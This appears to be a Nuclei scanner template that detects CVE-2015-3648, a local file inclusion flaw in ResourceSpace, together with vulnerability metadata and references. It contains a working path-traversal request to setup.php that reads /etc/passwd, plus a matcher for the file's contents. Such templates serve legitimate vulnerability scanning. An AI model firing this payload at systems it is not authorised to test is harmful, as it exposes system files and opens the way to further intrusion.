id: CVE-2015-3648

info:
  name: ResourceSpace - Local File inclusion
  author: pikpikcu
  severity: high
  description: ResourceSpace is prone to a local file-inclusion vulnerability because it fails to sufficiently sanitize user-supplied input.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of ResourceSpace to fix the local file inclusion vulnerability.
  reference:
    - https://vulners.com/cve/CVE-2015-3648/
    - http://svn.montala.com/websvn/revision.php?repname=ResourceSpace&path=%2F&rev=6640&peg=6738
    - http://packetstormsecurity.com/files/132142/ResourceSpace-7.1.6513-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3648
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-3648
    cwe-id: CWE-22
    epss-score: 0.08083
    epss-percentile: 0.94068
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: montala
    product: resourcespace
  tags: cve2015,cve,lfi,resourcespace,packetstorm,montala,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210084ee898dde3044b57c78e43d81fff45e2b2f05430dc84fb125fbf2bfd5b19242022100f18abbd47e7f0db25369c18dc6310ed68fa38e3d7c0b2853fbd5311b1ef6178d:922c64590222798bb761d5b6d8e72950